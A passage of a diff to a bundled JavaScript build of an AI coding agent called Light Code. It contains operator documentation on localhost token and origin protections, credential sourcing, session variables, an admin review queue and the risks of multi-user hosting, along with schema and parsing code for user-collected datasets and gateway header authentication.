--no-token\r\n```\r\n\r\nIf a link does lapse, a fresh one is printed in the terminal \u2014 you do not need to restart.\r\n\r\n**What `--no-token` turns off, precisely.** The bearer token is what stops another *process* on\r\nthis machine from driving the agent. Without it, anything that can reach the port can read your\r\nfiles and run commands as you. Light Code already declines to defend against a process running as\r\nthe same user, so this narrows an existing gap rather than opening a new category \u2014 but it is a\r\nreal narrowing, and the banner says so on every start.\r\n\r\n**What it does not turn off.** `Origin` and `Host` are still enforced on every request. Those are\r\nwhat stop the thing people mean when they say a localhost server is dangerous: a page you have\r\nopen in another tab posting to `127.0.0.1`, and DNS rebinding. A browser attaches a foreign\r\n`Origin` and the request is refused; a `Host` that was never bound gets `421`. Verified against a\r\nrunning server with a raw socket, because `fetch` rewrites the `Host` header and testing it that\r\nway measures nothing.\r\n\r\nUse it on a machine you trust, and stop the server when you are done.\r\n\r\n## 1b-i. Being launched by another application\r\n\r\nLight Code is often started *by* something else \u2014 a Streamlit app, a wrapper script, a container\r\nentrypoint \u2014 which already holds the credentials and already has a Python environment set up. Two\r\nthings make that work without duplicating either.\r\n\r\n### The API key can come from the environment\r\n\r\nPut `env:API_TOKEN` in the API key field (or in `auth.apiKeyRef` in the config file) and the key is\r\nread from that environment variable instead of being stored:\r\n\r\n```jsonc\r\n{\r\n "profiles": [\r\n {\r\n "id": "gateway",\r\n "label": "Internal gateway",\r\n "wireFormat": "openai",\r\n "baseUrl": "https://gateway.internal.example/v1",\r\n "model": "gpt-4o",\r\n "auth": { "type": "apiKey", "apiKeyRef": "env:API_TOKEN" }\r\n }\r\n ],\r\n "activeProfileId": "gateway"\r\n}\r\n```\r\n\r\nNothing is written to the keychain, and the variable is read fresh on every request. From Python:\r\n\r\n```python\r\nimport os, subprocess\r\nos.environ["API_TOKEN"] = my_internal_lib.get_apigee_token()\r\nsubprocess.Popen(["npx", "@chosengeneration/light-code"], env=os.environ)\r\n```\r\n\r\n**It must be exported before Light Code starts.** A process cannot see a variable its parent set\r\nafterwards, so a token exported later \u2014 or set only in the parent\'s own shell \u2014 is invisible. If\r\nthe panel shows the key as missing, that is what it is telling you: the variable is not set *in\r\nthis process*. The message names the variable.\r\n\r\n### A token that expires needs a command, not a variable\r\n\r\nThe catch with the above is that **a parent cannot change a running child\'s environment**. An\r\nApigee token is typically good for an hour; a session that outlives it starts failing every request\r\nwith no way back except a restart.\r\n\r\nSo a profile can fetch its own token by running a command \u2014 whatever the parent already uses:\r\n\r\n```jsonc\r\n{\r\n "auth": {\r\n "type": "tokenCommand",\r\n "tokenCommand": {\r\n "command": ["python", "-c", "import my_internal_lib; print(my_internal_lib.get_apigee_token())"],\r\n "fallbackExpirySeconds": 3600,\r\n "refreshSkewSeconds": 60\r\n }\r\n }\r\n}\r\n```\r\n\r\nThe credential logic stays in the one library that owns it, and Light Code never learns how the\r\ngateway\'s auth works. It refreshes proactively before expiry, shares one fetch across concurrent\r\nrequests, and checks the remaining lifetime before opening a stream so a token cannot expire\r\nmid-response.\r\n\r\nIf the command prints JSON instead of a bare token, name the fields:\r\n\r\n```jsonc\r\n{ "tokenPath": "access_token", "expiresInPath": "expires_in" }\r\n```\r\n\r\nNotes worth having in advance:\r\n\r\n- **`command` is argv, never a shell string.** It is spawned directly, so nothing is parsed by a\r\n shell \u2014 no pipes, no redirection, and a path with a space is one argument. Write a script if you\r\n need shell logic; that is a better place for it anyway.\r\n- **Print only the token.** Output containing whitespace is refused rather than sent as a bearer\r\n token, because a warning line prepended to the token produces a 401 that looks like a bad\r\n credential.\r\n- **It runs a program you name**, so it is exactly as powerful as the account Light Code runs\r\n under. It is configured in the config file rather than in the panel, and on a shared server it\r\n has no business in a personal profile.\r\n\r\n### Python without uv or a virtualenv\r\n\r\nIf the environment that launched Light Code already has the libraries your tools need \u2014 a Streamlit\r\napp\'s own interpreter, a conda environment, a container image \u2014 point it at that interpreter and it\r\nwill use it as it is:\r\n\r\n```jsonc\r\n{ "python": { "dynamicTools": "on", "interpreterPath": "/usr/bin/python3" } }\r\n```\r\n\r\nLeave `interpreterPath` unset and it falls back to `python3`, then `python`, from `PATH` \u2014 but only\r\nwhen `uv` is absent. uv is still preferred when it is available, because then Light Code owns the\r\nenvironment and can manage it.\r\n\r\n**In this mode Light Code does not install or remove packages.** That environment belongs to\r\nwhatever started it, and `pip install` into it could break the application serving your users. A\r\ntool whose imports are already satisfied works; one declaring a dependency that is not there is\r\nrefused at creation, naming the package, so you install it the way you install everything else\r\nthere. The Python tab says which mode is in use and why.\r\n\r\n## 1c. Session variables\r\n\r\nValues handed to everything a session runs \u2014 shell commands and Python tools \u2014 as environment\r\nvariables. Set them in the **Variables** tab.\r\n\r\n> **They are not secret.** Everything a session spawns runs as the server\'s own account, so\r\n> another user can have their assistant read them. This answers *whose value applies*, not *who\r\n> can see it*. API keys belong in **Providers**, which stores them separately and never sends\r\n> them back to a page.\r\n\r\n### Two scopes, and the administrator wins\r\n\r\n- **Yours** \u2014 only your sessions see them. Stored in `<data>/users/<hash>/variables.json`.\r\n- **Everyone\'s** \u2014 set by an administrator, applied to every user. Stored in `<data>/shared.json`.\r\n\r\nWhere both set the same name, **the administrator\'s value is used**. A variable set centrally is\r\nset precisely because it has to be the same everywhere \u2014 an internal package index, a proxy, a\r\ncompliance flag \u2014 and a per-user value quietly winning would defeat the only reason to set one.\r\n\r\nThe one that lost is not hidden. Your row says so:\r\n\r\n> **overridden** \u2014 An administrator set `REGISTRY` for everyone, so sessions use\r\n> `https://pypi.internal/simple` and not yours.\r\n\r\nWithout that you would edit a value that could never apply and see no sign of it.\r\n\r\n### Names\r\n\r\nLetters, digits and underscore, not starting with a digit. Anything else is refused as you type\r\nit, because a name a shell cannot set fails by starting a process with a *silently different*\r\nenvironment rather than by erroring.\r\n\r\n### Where they reach\r\n\r\n`execute_command` and Python tools. The Python worker\'s environment stays an allowlist \u2014 the\r\nreason it exists is that a provider API key must never reach model-authored code \u2014 and these are\r\nadded to it, because they are what a human deliberately declared.\r\n\r\nAn edit applies to the **next command**, not the next session; a Python tool picks one up when its\r\nworker next starts.\r\n\r\n---\r\n\r\n## 1d. The review queue\r\n\r\nA Python tool or a skill written by someone who is **not** an administrator is not saved. It goes\r\ninto a queue, the author\'s turn is told so and carries on, and an administrator reads the source\r\nand approves or rejects it in Settings \u2192 **Review**.\r\n\r\nAsynchronous on purpose. The in-chat approval gate assumes the approver is present, which is true\r\nin a chat and false here: the person who may approve is not the person asking. Blocking the turn\r\nwould hang for hours when nobody is at a screen, and forever for a scheduled run.\r\n\r\n### What "queued" means\r\n\r\nNothing is written anywhere the workspace can see it. The bytes live in `<data>/reviews.json`\r\nuntil someone approves them, and only then are they written to `.lightcode/tools/` or\r\n`.lightcode/skills/`. That is \xA713\'s rule used as it stands \u2014 the *registry* is the security\r\nboundary, and a file with no registry entry never loads \u2014 rather than a second mechanism beside it.\r\n\r\nTwo consequences worth knowing:\r\n\r\n- **A rejected submission leaves nothing behind.** There is no half-written file to clean up.\r\n- **An approval writes the bytes that were read**, not whatever is on disk by then.\r\n\r\n### Reviewing\r\n\r\nThe queue shows the full source as a diff against what is there now, with the author, the time,\r\nand \u2014 when a [programming provider](#1b-shared-mode---server--a-usage-guide) wrote it \u2014 which\r\nmodel produced it. Approve is disabled until the source has been opened. That is not a security\r\ncontrol, since anyone can open it and not read it; it is there because approving code you have not\r\nlooked at is the single mistake this queue exists to make harder, and a button needing no step in\r\nbetween is one people press by reflex.\r\n\r\nA rejection takes a reason, and the author sees it. Authors can see their own submissions, which is\r\nhow the reason reaches them \u2014 a queue only administrators could read would leave someone waiting\r\nwithout knowing what for.\r\n\r\nResubmitting the same name **replaces** the pending item rather than adding another. A model told\r\nits work is queued sometimes tries again, and four near-identical copies of one tool means an\r\nadministrator has to diff them to find the current one.\r\n\r\nAn administrator\'s own tools and skills are unaffected: they get the ordinary in-chat prompt, which\r\nis the same mechanism with the approver already at the screen.\r\n\r\n---\r\n\r\n## 2. Multi-user hosting with SSO \u2014 read this first\r\n\r\nIdentity is built. `ProxyHeaderIdentity` reads the user from your proxy\'s header, every store is\r\nkeyed by `Principal.id`, and section 1b is the setup guide. So the question of *who is asking* is\r\nanswered.\r\n\r\n**That was never the hard part.** The hard part is this:\r\n\r\n> Light Code executes shell commands, reads and writes files, and spawns MCP servers. On a\r\n> hosted deployment, all of that runs as **the account the server process runs as** \u2014 not as\r\n> the person who asked for it.\r\n\r\nSSO tells you *who is asking*. It does not change *what their request can do*. So on a\r\nshared server, with the design as it stands:\r\n\r\n- Every user\'s commands run with the same OS privileges as every other user\'s.\r\n- Any user can instruct the agent to read any file the service account can read \u2014\r\n including another user\'s `secrets.json` under `<data>/users/`, since file permissions\r\n separate accounts, and here there is only one account.\r\n- Any user can configure an MCP server, which is an arbitrary executable, and it runs as the\r\n service account.\r\n- The approval gate protects a user from the *model*. It does not protect users from each\r\n other, because the person approving is the person asking.\r\n\r\nThis is consistent with what Light Code has always claimed \u2014 \xA73 of `CLAUDE.md` says plainly\r\nthat it does not sandbox executed code and does not protect against another process running\r\nas the same user. On one desktop that is a reasonable line. On a shared server it means\r\n**every user is effectively an administrator of every other user\'s data.**\r\n\r\n### What would actually make it safe\r\n\r\nIn rough order of how much they buy you:\r\n\r\n1. **One OS account per user, or one container per session.** This is the real fix and\r\n nothing else substitutes for it. The server becomes a supervisor that launches a\r\n per-user worker under that user\'s identity; the worker holds the bridge. On Windows this\r\n is a service that impersonates the authenticated principal, or a container per session.\r\n2. **Workspace confinement per principal**, so a user\'s tools are rooted in their own tree\r\n rather than a shared one.\r\n3. **Deny MCP configuration to ordinary users**, or restrict it to an operator-managed\r\n allowlist. It is arbitrary code execution by design.\r\n4. **Disable the Claude CLI expert and `execute_command` by policy** unless 1 is done.\r\n\r\nNone of those are built. Until at least (1) is, a hosted deployment is safe only where\r\n**every user is already trusted with everything every other user can reach** \u2014 for\r\ninstance, one small team sharing a service account they all already have.\r\n\r\n### If you deploy it anyway\r\n\r\nBecause "one team who all trust each other" is a real situation. Section 1b is the how; this is\r\nthe shortlist of things not to skip:\r\n\r\n- Put it behind a proxy that terminates authentication, sets the user header, and **strips any\r\n inbound copy of it**.\r\n- Send the immutable directory identifier as the id, never the username or email \u2014 both get\r\n reassigned to a different person when someone leaves.\r\n- Bind the server to loopback and let the proxy be the only thing that reaches it.\r\n- **Restrict `/admin` at the proxy.** Light Code does not guard it.\r\n- Terminate TLS at the proxy. The `Host` allowlist needs the proxy\'s public authority added.\r\n- Run the service account with the least privilege that still works, and keep its home\r\n directory off any share.\r\n- Tell your users plainly that their sessions are not isolated from one another.\r\n';
|
|
24554
24554
|
|
|
24555
24555
|
// src/guideHtml.ts
|
|
24556
24556
|
function escapeHtml(text) {
|
|
@@ -24764,8 +24764,8 @@ function renderGuide(colour, source = OPERATOR_GUIDE) {
|
|
|
24764
24764
|
}
|
|
24765
24765
|
|
|
24766
24766
|
// src/sharedConfig.ts
|
|
24767
|
-
import
|
|
24768
|
-
import
|
|
24767
|
+
import fs20 from "node:fs/promises";
|
|
24768
|
+
import path27 from "node:path";
|
|
24769
24769
|
|
|
24770
24770
|
// ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/external.js
|
|
24771
24771
|
var external_exports = {};
|
|
@@ -25533,10 +25533,10 @@ function mergeDefs(...defs) {
|
|
|
25533
25533
|
function cloneDef(schema) {
|
|
25534
25534
|
return mergeDefs(schema._zod.def);
|
|
25535
25535
|
}
|
|
25536
|
-
function getElementAtPath(obj,
|
|
25537
|
-
if (!
|
|
25536
|
+
function getElementAtPath(obj, path34) {
|
|
25537
|
+
if (!path34)
|
|
25538
25538
|
return obj;
|
|
25539
|
-
return
|
|
25539
|
+
return path34.reduce((acc, key) => acc?.[key], obj);
|
|
25540
25540
|
}
|
|
25541
25541
|
function promiseAllObject(promisesObj) {
|
|
25542
25542
|
const keys = Object.keys(promisesObj);
|
|
@@ -25945,11 +25945,11 @@ function explicitlyAborted(x, startIndex = 0) {
|
|
|
25945
25945
|
}
|
|
25946
25946
|
return false;
|
|
25947
25947
|
}
|
|
25948
|
-
function prefixIssues(
|
|
25948
|
+
function prefixIssues(path34, issues) {
|
|
25949
25949
|
return issues.map((iss) => {
|
|
25950
25950
|
var _a3;
|
|
25951
25951
|
(_a3 = iss).path ?? (_a3.path = []);
|
|
25952
|
-
iss.path.unshift(
|
|
25952
|
+
iss.path.unshift(path34);
|
|
25953
25953
|
return iss;
|
|
25954
25954
|
});
|
|
25955
25955
|
}
|
|
@@ -26096,16 +26096,16 @@ function flattenError(error51, mapper = (issue2) => issue2.message) {
|
|
|
26096
26096
|
}
|
|
26097
26097
|
function formatError(error51, mapper = (issue2) => issue2.message) {
|
|
26098
26098
|
const fieldErrors = { _errors: [] };
|
|
26099
|
-
const processError = (error52,
|
|
26099
|
+
const processError = (error52, path34 = []) => {
|
|
26100
26100
|
for (const issue2 of error52.issues) {
|
|
26101
26101
|
if (issue2.code === "invalid_union" && issue2.errors.length) {
|
|
26102
|
-
issue2.errors.map((issues) => processError({ issues }, [...
|
|
26102
|
+
issue2.errors.map((issues) => processError({ issues }, [...path34, ...issue2.path]));
|
|
26103
26103
|
} else if (issue2.code === "invalid_key") {
|
|
26104
|
-
processError({ issues: issue2.issues }, [...
|
|
26104
|
+
processError({ issues: issue2.issues }, [...path34, ...issue2.path]);
|
|
26105
26105
|
} else if (issue2.code === "invalid_element") {
|
|
26106
|
-
processError({ issues: issue2.issues }, [...
|
|
26106
|
+
processError({ issues: issue2.issues }, [...path34, ...issue2.path]);
|
|
26107
26107
|
} else {
|
|
26108
|
-
const fullpath = [...
|
|
26108
|
+
const fullpath = [...path34, ...issue2.path];
|
|
26109
26109
|
if (fullpath.length === 0) {
|
|
26110
26110
|
fieldErrors._errors.push(mapper(issue2));
|
|
26111
26111
|
} else {
|
|
@@ -26132,17 +26132,17 @@ function formatError(error51, mapper = (issue2) => issue2.message) {
|
|
|
26132
26132
|
}
|
|
26133
26133
|
function treeifyError(error51, mapper = (issue2) => issue2.message) {
|
|
26134
26134
|
const result = { errors: [] };
|
|
26135
|
-
const processError = (error52,
|
|
26135
|
+
const processError = (error52, path34 = []) => {
|
|
26136
26136
|
var _a3, _b;
|
|
26137
26137
|
for (const issue2 of error52.issues) {
|
|
26138
26138
|
if (issue2.code === "invalid_union" && issue2.errors.length) {
|
|
26139
|
-
issue2.errors.map((issues) => processError({ issues }, [...
|
|
26139
|
+
issue2.errors.map((issues) => processError({ issues }, [...path34, ...issue2.path]));
|
|
26140
26140
|
} else if (issue2.code === "invalid_key") {
|
|
26141
|
-
processError({ issues: issue2.issues }, [...
|
|
26141
|
+
processError({ issues: issue2.issues }, [...path34, ...issue2.path]);
|
|
26142
26142
|
} else if (issue2.code === "invalid_element") {
|
|
26143
|
-
processError({ issues: issue2.issues }, [...
|
|
26143
|
+
processError({ issues: issue2.issues }, [...path34, ...issue2.path]);
|
|
26144
26144
|
} else {
|
|
26145
|
-
const fullpath = [...
|
|
26145
|
+
const fullpath = [...path34, ...issue2.path];
|
|
26146
26146
|
if (fullpath.length === 0) {
|
|
26147
26147
|
result.errors.push(mapper(issue2));
|
|
26148
26148
|
continue;
|
|
@@ -26174,8 +26174,8 @@ function treeifyError(error51, mapper = (issue2) => issue2.message) {
|
|
|
26174
26174
|
}
|
|
26175
26175
|
function toDotPath(_path) {
|
|
26176
26176
|
const segs = [];
|
|
26177
|
-
const
|
|
26178
|
-
for (const seg of
|
|
26177
|
+
const path34 = _path.map((seg) => typeof seg === "object" ? seg.key : seg);
|
|
26178
|
+
for (const seg of path34) {
|
|
26179
26179
|
if (typeof seg === "number")
|
|
26180
26180
|
segs.push(`[${seg}]`);
|
|
26181
26181
|
else if (typeof seg === "symbol")
|
|
@@ -38867,13 +38867,13 @@ function resolveRef(ref, ctx) {
|
|
|
38867
38867
|
if (!ref.startsWith("#")) {
|
|
38868
38868
|
throw new Error("External $ref is not supported, only local refs (#/...) are allowed");
|
|
38869
38869
|
}
|
|
38870
|
-
const
|
|
38871
|
-
if (
|
|
38870
|
+
const path34 = ref.slice(1).split("/").filter(Boolean);
|
|
38871
|
+
if (path34.length === 0) {
|
|
38872
38872
|
return ctx.rootSchema;
|
|
38873
38873
|
}
|
|
38874
38874
|
const defsKey = ctx.version === "draft-2020-12" ? "$defs" : "definitions";
|
|
38875
|
-
if (
|
|
38876
|
-
const key =
|
|
38875
|
+
if (path34[0] === defsKey) {
|
|
38876
|
+
const key = path34[1];
|
|
38877
38877
|
if (!key || !ctx.defs[key]) {
|
|
38878
38878
|
throw new Error(`Reference not found: ${ref}`);
|
|
38879
38879
|
}
|
|
@@ -39447,6 +39447,171 @@ async function build(options, paths) {
|
|
|
39447
39447
|
return tls2;
|
|
39448
39448
|
}
|
|
39449
39449
|
|
|
39450
|
+
// ../../packages/core/dist/dataset/types.js
|
|
39451
|
+
var datasetRecordSchema = external_exports.object({
|
|
39452
|
+
/**
|
|
39453
|
+
* Stable across syncs. The same record from the source must come back with the same id, or a
|
|
39454
|
+
* re-sync duplicates it rather than replacing it — which is the failure that turns a useful
|
|
39455
|
+
* corpus into noise a few runs in.
|
|
39456
|
+
*/
|
|
39457
|
+
id: external_exports.string().min(1),
|
|
39458
|
+
/** What gets embedded and what a search returns. */
|
|
39459
|
+
text: external_exports.string().min(1),
|
|
39460
|
+
/** A heading for the search result. Falls back to the opening of `text`. */
|
|
39461
|
+
title: external_exports.string().optional(),
|
|
39462
|
+
/** Where it came from — a ticket URL, a file path. Shown so a hit can be followed up. */
|
|
39463
|
+
url: external_exports.string().optional(),
|
|
39464
|
+
/**
|
|
39465
|
+
* Epoch milliseconds. Retention and "what changed this week" both need it.
|
|
39466
|
+
*
|
|
39467
|
+
* Absent is allowed and means "no age", which retention then cannot remove. Defaulting it to
|
|
39468
|
+
* *now* would be worse: every record would age from whenever it was last synced, so nothing
|
|
39469
|
+
* would ever look old and retention would silently never fire.
|
|
39470
|
+
*/
|
|
39471
|
+
timestamp: external_exports.number().optional(),
|
|
39472
|
+
/** Anything else the tool wants to keep. Filterable exactly, never embedded. */
|
|
39473
|
+
tags: external_exports.record(external_exports.string(), external_exports.string()).optional()
|
|
39474
|
+
});
|
|
39475
|
+
var datasetPayloadSchema = external_exports.union([
|
|
39476
|
+
external_exports.object({ records: external_exports.array(datasetRecordSchema) }),
|
|
39477
|
+
external_exports.array(datasetRecordSchema)
|
|
39478
|
+
]);
|
|
39479
|
+
var WRAPPER_KEYS = ["records", "items", "data", "results", "rows"];
|
|
39480
|
+
var TEXT_KEYS = ["text", "content", "body", "description", "summary"];
|
|
39481
|
+
function toMilliseconds(value) {
|
|
39482
|
+
if (typeof value === "string") {
|
|
39483
|
+
const parsed = Date.parse(value);
|
|
39484
|
+
return Number.isNaN(parsed) ? void 0 : parsed;
|
|
39485
|
+
}
|
|
39486
|
+
if (typeof value !== "number" || !Number.isFinite(value))
|
|
39487
|
+
return void 0;
|
|
39488
|
+
return value > 0 && value < 1e11 ? Math.round(value * 1e3) : Math.round(value);
|
|
39489
|
+
}
|
|
39490
|
+
function normaliseRecord(value) {
|
|
39491
|
+
if (value === null || typeof value !== "object" || Array.isArray(value))
|
|
39492
|
+
return void 0;
|
|
39493
|
+
const row = value;
|
|
39494
|
+
const id = row["id"] ?? row["key"] ?? row["_id"];
|
|
39495
|
+
const textKey = TEXT_KEYS.find((key) => typeof row[key] === "string" && row[key].length > 0);
|
|
39496
|
+
const record2 = {
|
|
39497
|
+
...typeof id === "string" || typeof id === "number" ? { id: String(id) } : {},
|
|
39498
|
+
...textKey !== void 0 ? { text: row[textKey] } : {},
|
|
39499
|
+
...typeof row["title"] === "string" ? { title: row["title"] } : {},
|
|
39500
|
+
...typeof row["url"] === "string" ? { url: row["url"] } : {}
|
|
39501
|
+
};
|
|
39502
|
+
const at = toMilliseconds(row["timestamp"] ?? row["updated"] ?? row["updated_at"] ?? row["date"]);
|
|
39503
|
+
if (at !== void 0)
|
|
39504
|
+
record2["timestamp"] = at;
|
|
39505
|
+
if (row["tags"] !== null && typeof row["tags"] === "object" && !Array.isArray(row["tags"])) {
|
|
39506
|
+
const tags = {};
|
|
39507
|
+
for (const [key, tagValue] of Object.entries(row["tags"])) {
|
|
39508
|
+
if (tagValue === null || tagValue === void 0)
|
|
39509
|
+
continue;
|
|
39510
|
+
if (typeof tagValue === "object")
|
|
39511
|
+
continue;
|
|
39512
|
+
tags[key] = String(tagValue);
|
|
39513
|
+
}
|
|
39514
|
+
if (Object.keys(tags).length > 0)
|
|
39515
|
+
record2["tags"] = tags;
|
|
39516
|
+
}
|
|
39517
|
+
return record2;
|
|
39518
|
+
}
|
|
39519
|
+
function parseDatasetPayload(value) {
|
|
39520
|
+
let candidate = value;
|
|
39521
|
+
if (typeof candidate === "string") {
|
|
39522
|
+
try {
|
|
39523
|
+
candidate = JSON.parse(candidate);
|
|
39524
|
+
} catch {
|
|
39525
|
+
return {
|
|
39526
|
+
error: `The collector tool returned text rather than records. It must return a list of {"id": ..., "text": ...} dicts. It returned: ${String(value).slice(0, 200)}`
|
|
39527
|
+
};
|
|
39528
|
+
}
|
|
39529
|
+
}
|
|
39530
|
+
if (candidate !== null && typeof candidate === "object" && !Array.isArray(candidate)) {
|
|
39531
|
+
const wrapper = WRAPPER_KEYS.find((key) => Array.isArray(candidate[key]));
|
|
39532
|
+
candidate = wrapper === void 0 ? [candidate] : candidate[wrapper];
|
|
39533
|
+
}
|
|
39534
|
+
if (!Array.isArray(candidate)) {
|
|
39535
|
+
return {
|
|
39536
|
+
error: `The collector tool did not return a list of records. Return a list of {"id": ..., "text": ...} dicts, or a dict with them under "records". It returned: ${JSON.stringify(value).slice(0, 200)}`
|
|
39537
|
+
};
|
|
39538
|
+
}
|
|
39539
|
+
const normalised = candidate.map((entry) => normaliseRecord(entry) ?? entry);
|
|
39540
|
+
const parsed = external_exports.array(datasetRecordSchema).safeParse(normalised);
|
|
39541
|
+
if (parsed.success)
|
|
39542
|
+
return { records: parsed.data };
|
|
39543
|
+
const first = parsed.error.issues[0];
|
|
39544
|
+
const index = typeof first?.path[0] === "number" ? first.path[0] : 0;
|
|
39545
|
+
const offending = candidate[index];
|
|
39546
|
+
const keys = offending !== null && typeof offending === "object" ? Object.keys(offending).join(", ") : "none";
|
|
39547
|
+
return {
|
|
39548
|
+
error: `The collector tool returned ${String(candidate.length)} item(s), and item ${String(index + 1)} is not a usable record. Each needs a stable \`id\` (the source's own identifier, so a re-sync updates rather than duplicates) and a \`text\` to index. That item had these keys: ${keys}. ` + parsed.error.issues.slice(0, 3).map((issue2) => `${issue2.path.join(".")}: ${issue2.message}`).join("; ")
|
|
39549
|
+
};
|
|
39550
|
+
}
|
|
39551
|
+
var datasetConfigSchema = external_exports.object({
|
|
39552
|
+
id: external_exports.string().min(1),
|
|
39553
|
+
name: external_exports.string().min(1, "Give it a name"),
|
|
39554
|
+
/** The Python tool that produces the records, by its bare name. */
|
|
39555
|
+
toolName: external_exports.string().min(1, "Choose a collector tool"),
|
|
39556
|
+
/** Passed to the tool as its arguments, so one tool can serve several datasets. */
|
|
39557
|
+
arguments: external_exports.record(external_exports.string(), external_exports.unknown()).optional(),
|
|
39558
|
+
enabled: external_exports.boolean().optional(),
|
|
39559
|
+
/** How often to re-run the collector. Zero or absent means only when asked. */
|
|
39560
|
+
syncMinutes: external_exports.number().int().min(0).optional(),
|
|
39561
|
+
/** Drop records older than this. Absent means keep everything. */
|
|
39562
|
+
retentionDays: external_exports.number().int().positive().optional(),
|
|
39563
|
+
/** Which vector store to write to. Falls back to the one named for `data`, then the active one. */
|
|
39564
|
+
storeId: external_exports.string().optional()
|
|
39565
|
+
});
|
|
39566
|
+
var COLLECTOR_EXAMPLE = `def run(since: int | None = None) -> list[dict]:
|
|
39567
|
+
"""Tickets assigned to the team.
|
|
39568
|
+
|
|
39569
|
+
Args:
|
|
39570
|
+
since: Epoch milliseconds of the last successful sync, or None on the first run.
|
|
39571
|
+
"""
|
|
39572
|
+
rows = my_internal_lib.search(updated_after=since)
|
|
39573
|
+
return [
|
|
39574
|
+
{
|
|
39575
|
+
"id": row.key, # stable: the source's own identifier
|
|
39576
|
+
"title": row.summary,
|
|
39577
|
+
"text": f"{row.summary}\\n\\n{row.description}", # what gets embedded
|
|
39578
|
+
"url": row.browse_url,
|
|
39579
|
+
"timestamp": int(row.updated.timestamp() * 1000), # epoch MILLIseconds
|
|
39580
|
+
"tags": {"status": row.status, "team": row.team}, # flat, strings only
|
|
39581
|
+
}
|
|
39582
|
+
for row in rows
|
|
39583
|
+
]`;
|
|
39584
|
+
var COLLECTOR_TOOL_GUIDANCE = [
|
|
39585
|
+
"Writing a collector for a custom dataset:",
|
|
39586
|
+
"- A collector is an ordinary Python tool. Its `run` returns a list of records, each a dict",
|
|
39587
|
+
" with `id` and `text`, and optionally `title`, `url`, `timestamp` (epoch milliseconds) and",
|
|
39588
|
+
" `tags` (a flat dict of strings).",
|
|
39589
|
+
"- **`id` must be stable across runs.** Use the source's own identifier \u2014 a ticket key, a row",
|
|
39590
|
+
" id, a file path. A generated or time-based id makes every sync duplicate the whole corpus",
|
|
39591
|
+
" instead of updating it, which is not obvious until the results are full of near-copies.",
|
|
39592
|
+
"- **`text` is what gets embedded and what a search shows.** Put the meaning in it: a subject",
|
|
39593
|
+
" and a body, not an id and a status code. Roughly a paragraph to a page each works best.",
|
|
39594
|
+
'- Set `timestamp` wherever the source has one. Retention and any "what changed recently"',
|
|
39595
|
+
" question both need it, and it cannot be recovered later.",
|
|
39596
|
+
"- The tool is called with whatever arguments the dataset configures, plus `since` \u2014 epoch",
|
|
39597
|
+
" milliseconds of the last successful sync, or absent on the first. Use it to fetch only what",
|
|
39598
|
+
" changed if the source allows; returning everything each time is correct but slower.",
|
|
39599
|
+
"- Return `[]` when there is nothing new. That is a successful sync, not an error.",
|
|
39600
|
+
"- Keep credentials out of the tool: read them from the environment or from a file the user",
|
|
39601
|
+
" already has. A tool file lives in the workspace and lands in git.",
|
|
39602
|
+
"",
|
|
39603
|
+
"**Return a list of dicts. Not a string, not a dict of rows, not a formatted report.** The",
|
|
39604
|
+
"common mistake is returning something a person would read; a collector returns something a",
|
|
39605
|
+
"search can index, and anything else is refused when it runs. If the source gives you one",
|
|
39606
|
+
"object, return a one-element list.",
|
|
39607
|
+
"",
|
|
39608
|
+
"A collector looks like this:",
|
|
39609
|
+
"",
|
|
39610
|
+
"```python",
|
|
39611
|
+
COLLECTOR_EXAMPLE,
|
|
39612
|
+
"```"
|
|
39613
|
+
].join("\n");
|
|
39614
|
+
|
|
39450
39615
|
// ../../packages/core/dist/mcp/types.js
|
|
39451
39616
|
var stdioServerSchema = external_exports.object({
|
|
39452
39617
|
command: external_exports.string().min(1),
|
|
@@ -39718,6 +39883,20 @@ var authSchema = external_exports.discriminatedUnion("type", [
|
|
|
39718
39883
|
*/
|
|
39719
39884
|
external_exports.object({ type: external_exports.literal("apiKey"), apiKeyRef: external_exports.string().min(1) }),
|
|
39720
39885
|
external_exports.object({ type: external_exports.literal("tokenCommand"), tokenCommand: tokenCommandSchema }),
|
|
39886
|
+
/**
|
|
39887
|
+
* A fixed header the gateway expects, with no API key involved.
|
|
39888
|
+
*
|
|
39889
|
+
* Each value is a *reference* — a secret-store key, or `env:NAME` — never a literal, because
|
|
39890
|
+
* the profile lives in the config file and §15 is explicit that a credential never does.
|
|
39891
|
+
*/
|
|
39892
|
+
external_exports.object({
|
|
39893
|
+
type: external_exports.literal("header"),
|
|
39894
|
+
headers: external_exports.array(external_exports.object({
|
|
39895
|
+
name: external_exports.string().min(1, "Give the header name"),
|
|
39896
|
+
valueRef: external_exports.string().min(1, "Give the value, or env:NAME"),
|
|
39897
|
+
prefix: external_exports.string().optional()
|
|
39898
|
+
})).min(1, "Add at least one header")
|
|
39899
|
+
}),
|
|
39721
39900
|
external_exports.object({
|
|
39722
39901
|
type: external_exports.literal("apigeeMtls"),
|
|
39723
39902
|
certs: certConfigSchema,
|
|
@@ -39761,6 +39940,7 @@ var providerProfileSchema = external_exports.object({
|
|
|
39761
39940
|
});
|
|
39762
39941
|
|
|
39763
39942
|
// ../../packages/core/dist/config/schema.js
|
|
39943
|
+
var datasetsConfigSchema = external_exports.array(datasetConfigSchema);
|
|
39764
39944
|
var pythonConfigSchema = external_exports.object({
|
|
39765
39945
|
/**
|
|
39766
39946
|
* Off by default and explicitly three-state. This is the sharpest surface in the
|
|
@@ -40050,7 +40230,15 @@ var retrievalConfigSchema = external_exports.object({
|
|
|
40050
40230
|
/** Indexed mail. Usually local, and deliberately easy to keep separate. */
|
|
40051
40231
|
mail: external_exports.string().min(1),
|
|
40052
40232
|
/** The team's shared skills. Often the same cluster as the code. */
|
|
40053
|
-
skills: external_exports.string().min(1)
|
|
40233
|
+
skills: external_exports.string().min(1),
|
|
40234
|
+
/**
|
|
40235
|
+
* Corpora the user collects themselves.
|
|
40236
|
+
*
|
|
40237
|
+
* Routed separately for the same reason mail is: somebody's own collected data —
|
|
40238
|
+
* tickets, extracts from an internal system — is frequently the thing they most want
|
|
40239
|
+
* kept off a cluster their team shares.
|
|
40240
|
+
*/
|
|
40241
|
+
data: external_exports.string().min(1)
|
|
40054
40242
|
}).partial()
|
|
40055
40243
|
}).partial();
|
|
40056
40244
|
function storeIdFor(purpose, config2) {
|
|
@@ -40238,6 +40426,7 @@ var configSchema = external_exports.object({
|
|
|
40238
40426
|
programmingProfileId: external_exports.string(),
|
|
40239
40427
|
certDir: external_exports.string(),
|
|
40240
40428
|
python: pythonConfigSchema,
|
|
40429
|
+
datasets: datasetsConfigSchema,
|
|
40241
40430
|
/**
|
|
40242
40431
|
